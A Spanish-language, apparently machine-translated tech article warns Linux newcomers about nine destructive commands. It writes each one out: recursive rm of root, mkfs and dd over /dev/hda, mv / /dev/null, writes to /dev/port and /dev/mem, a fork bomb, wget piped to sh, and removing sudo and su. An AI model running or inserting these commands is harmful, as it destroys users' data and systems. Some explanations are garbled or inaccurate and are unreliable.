9 comandos letales de Linux que nunca deberías ejecutar

Nunca debe ejecutar un comando de Linux a menos que sepa exactamente lo que hace. Estos son algunos de los comandos de Linux más letales que, en su mayor parte, querrá evitar.

Nunca debe ejecutar un comando de Linux a menos que sepa exactamente lo que hace.  Estos son algunos de los comandos de Linux más letales que, en su mayor parte, querrá evitar.
Anuncio

Linux puede ser una espada de doble filo. Asume que sabes lo que estás haciendo y te da la libertad de hacer lo que quieras. No te cuestionará. Esto es conveniente cuando realmente sabe lo que está haciendo, pero también significa que posiblemente podría inutilizar su sistema en cuestión de segundos.

¿Nuevo en la línea de comandos de Linux? Sin preocupaciones. Comience con nuestra guía de inicio rápido de terminal Linux Una guía rápida para comenzar con la línea de comando de Linux Una guía rápida para comenzar con la línea de comando de Linux Puede hacer muchas cosas sorprendentes con comandos en Linux y realmente no es difícil de aprender. Lea más junto con estos 40 comandos esenciales de Linux Una A a la Z de Linux: 40 comandos esenciales que debe conocer Una A a la Z de Linux: 40 comandos esenciales que debe conocer Linux es la tercera rueda que se ignora a menudo para Windows y Mac. Sí, en la última década, el sistema operativo de fuente abierta ha ganado mucha tracción, pero aún está lejos de ser considerado ... Leer más. Con esos dos recursos, se familiarizará con la línea de comando en muy poco tiempo.

Pero ya sea que sea un novato o veterano de Linux, nunca debe ejecutar un comando a menos que sepa exactamente lo que hace. Estos son algunos de los comandos de Linux más letales que, en su mayor parte, querrá evitar.

Eliminar recursivamente

La capacidad de Linux de eliminar todo lo que quieras sin cuestionar es una bendición, especialmente después de lidiar con los años de errores "Ese archivo no se puede eliminar" en Windows. Pero los trolls de Internet rápidamente te engañarán, presentándote comandos de eliminación extremadamente peligrosos que pueden borrar discos duros enteros.

rm -rf / 

Esta línea ejecuta el comando remove rm con dos conmutadores: -r que fuerza la eliminación recursiva a través de todos los subdirectorios y -f que fuerza la eliminación de archivos de solo lectura sin confirmación. El comando se ejecuta en el directorio / root, esencialmente borrando todo el sistema.

Tenga en cuenta que actualmente, en la mayoría de los sistemas Linux, si intenta hacer esto, recibirá una advertencia. Pero la advertencia no está garantizada, así que no lo hagas.

Formatear unidad de disco duro

La terminal es especialmente complicada para los novatos de Linux porque proporciona varias maneras de borrar accidentalmente el disco duro. La eliminación recursiva es grande, pero aquí hay otra:

 mkfs.ext3 /dev/hda 

Este comando formatea el disco duro para usar el sistema de archivos ext3. Formateo de la unidad de disco Cómo volver a formatear la unidad FAT32 en NTFS y las ventajas de hacerlo Cómo volver a formatear la unidad FAT32 en NTFS y las ventajas de hacerlo Es posible que no lo sepas, pero elegir el sistema de archivos correcto para tus unidades es bastante bonito importante. Aunque la idea principal de todos los sistemas de archivos es la misma, hay muchas ventajas y desventajas sobre cada ... Read More no es una acción intrínsecamente maliciosa, pero sí "restablece" el disco de modo que sea "tan bueno como nuevo". En otras palabras, un disco duro formateado es como una pizarra en blanco.

El formateo es útil para particiones de disco y unidades externas, pero ejecutarlo en un disco duro completo (como / dev / hda ) es peligroso y puede dejar su sistema en un estado irrecuperable.

Sobrescribir el disco duro

Como si el formateo accidental del disco no fuera lo suficientemente malo, es posible sobrescribir el disco duro con datos sin formato. Al menos el formateo del disco es un procedimiento real con usos en la vida real; sobrescribir directamente la unidad de uno, por otro lado, no es tan bueno.

 command >/dev/hda 

En el comando anterior, el comando puede ser reemplazado por cualquier comando Bash. El operador > redirige la salida del comando de la izquierda al archivo a la derecha. En este caso, no importa cuál sea la salida del comando izquierdo. Que los datos brutos se redirigen y se utilizan para sobrescribir el disco duro del sistema.

Como se puede imaginar, esto lo hace inútil.

Limpie la unidad de disco duro

Aquí hay otra forma de arruinar su sistema. Esta vez, el comando pondrá a cero completamente su disco duro. No se dañan o sobreescriben datos; Literalmente llenará tu disco duro con ceros. Un disco duro no se borra más que eso.

 dd if=/dev/zero of=/dev/hda 

El comando dd es una instrucción de bajo nivel que se usa principalmente para escribir datos en unidades físicas. El parámetro if determina la fuente de datos, que en este caso es / dev / zero, un especial en Linux que produce una secuencia infinita de ceros. El parámetro de determina el destino de esos ceros, que es el disco / dev / hda .

Sí, existen razones legítimas para poner a cero un disco, pero si no sabe cuáles son esas razones, querrá mantenerse alejado de este comando.

Implode Hard Drive

Si estás cansado de escuchar formas de arruinar tu disco duro, espera. Aquí hay uno más para ti. En Linux, hay un archivo especial llamado / dev / null que descartará los datos que se escriben en él. Puedes pensar que es un agujero negro o una trituradora de archivos: todo lo que se le haya dado como entrada se consumirá para siempre.

 mv / /dev/null 

¿Puedes ver el peligro aquí? El comando mv intenta mover el directorio raíz del sistema / al agujero negro de / dev / null . Este es un comando válido y el resultado es devastador: el disco duro se consume y no queda nada. Hacer esto hará que su sistema no se pueda usar.

Cause Kernel Panic

Windows tiene su infame pantalla azul de la muerte Windows 8 estrellarse? Cómo solucionar fácilmente la pantalla azul y otros problemas Windows 8 se bloquea? Cómo solucionar fácilmente la pantalla azul y otros problemas Windows 8 no es perfecto. Dicho esto, la mayoría de las pantallas azules y los bloqueos de las aplicaciones no son culpa de Windows. Nuestros consejos lo ayudarán a identificar exactamente qué es lo que está mal en su PC y solucionarlo. Lee mas . Y a pesar de los mitos que flotan, Linux no es un sistema perfectamente seguro. 4 Mitos de seguridad cibernética que deben morir 4 mitos de seguridad cibernética que deben morir Leer más. A veces, se produce un error interno cuya recuperación es imposible, por lo que el sistema representará algo similar a la pantalla azul: un pánico del kernel .

 dd if=/dev/random of=/dev/port echo 1>/proc/sys/kernel/panic cat /dev/port cat /dev/zero>/dev/mem 

Las complejidades de los comandos anteriores no son importantes aquí. Lo que es importante es que si ejecuta cualquiera de esas líneas se producirá un pánico en el kernel, lo que le obligará a reiniciar su sistema. Lo mejor es mantenerse alejado de estos comandos a menos que esté absolutamente seguro de que sabe lo que está haciendo.

Fork Bomb

Bash es el lenguaje de la terminal de Linux. ¿Confunde Linux? Aquí están los términos clave que debe saber si Linux es confuso Aquí están los términos clave que necesita saber En estos días, Ubuntu y otras distribuciones modernas de Linux generalmente se instalan sin problemas (y sin requerir ningún conocimiento), pero a medida que avanza usándolos, inevitablemente encontrará todo tipo de terminología. Leer más y es poderoso. No solo puede ejecutar comandos sino que también puede ejecutar funciones, lo que facilita la escritura de scripts que pueden automatizar las tareas del sistema. Desafortunadamente, las funciones no vienen sin su propio conjunto de riesgos.

 :(){:|:&};: 

Este comando oscuro se llama fork pump, que es un tipo especial de kernel panic. Define una función llamada : que recursivamente llama a sí mismo dos veces cuando se ejecuta. Una de las llamadas recursivas ocurre en primer plano mientras que la otra sucede en segundo plano.

En otras palabras, cada vez que se ejecuta esta función, genera dos procesos secundarios. Esos procesos secundarios engendran sus propios procesos hijos, y este ciclo continúa en un ciclo infinito. La única salida es reiniciar el sistema.

Ejecutar script remoto

Aquí hay un comando inocente que realmente puede ser útil en la vida cotidiana en un sistema Linux. wget recupera el contenido de una URL web, que se puede usar para acceder a sitios web o descargar archivos. Sin embargo, hay un truco simple que lo vuelve peligroso:

 wget http://an-untrusted-url -O- | sh 

La combinación anterior descarga los contenidos de la URL dada y los envía de inmediato al comando sh, que ejecuta los contenidos descargados en la terminal. Si la URL apuntara a un script malicioso, estarías sellando tu propio destino con este comando.

Deshabilitar los derechos de comando de raíz

Este comando final es directo. Utiliza el comando rm comúnmente utilizado para desactivar dos de los comandos más importantes en Linux: sudo y su . Para resumir, estos dos le permiten ejecutar otros comandos con permisos de root. Sin ellos, la vida en Linux sería miserable.

 rm -f /usr/bin/sudo;rm -f /bin/su 

Por eso no deberías ejecutar este comando. Force elimina ambos comandos de su sistema sin ninguna confirmación, dejándolo en un aprieto. Hay formas de restaurar lo que ha eliminado. Las mejores maneras de recuperar datos en Linux. Las mejores maneras de recuperar datos en Linux. No importa si fue su culpa o no, las cosas pueden suceder con los datos almacenados en sus dispositivos. Los discos duros, las unidades de estado sólido y los medios extraíbles pueden potencialmente "perder" archivos debido a numerosas ... Leer más, pero no siempre es fácil ni agradable.

¡Por favor tenga cuidado! No tengas miedo de jugar con Linux ¿Considerando Linux? 10 preguntas comunes respondidas considerando Linux? 10 preguntas comunes respondidas Aquí están las preguntas más comunes que los usuarios de Windows tienen sobre Linux. Después de revisar esta lista de preguntas y respuestas, debería sentirse mucho más seguro al probar Linux. Lea más y la terminal de línea de comandos, pero al mismo tiempo, investigue y nunca ejecute nada a menos que esté absolutamente seguro de lo que hace. Si alguien te dice que "intentes con este comando", siempre haz doble y triple comprobación.

¿Alguna vez has ejecutado un comando destructivo? ¿Que pasó? ¿Alguien te engañó? ¡Comparte tus pensamientos y experiencias con nosotros en los comentarios!

In this article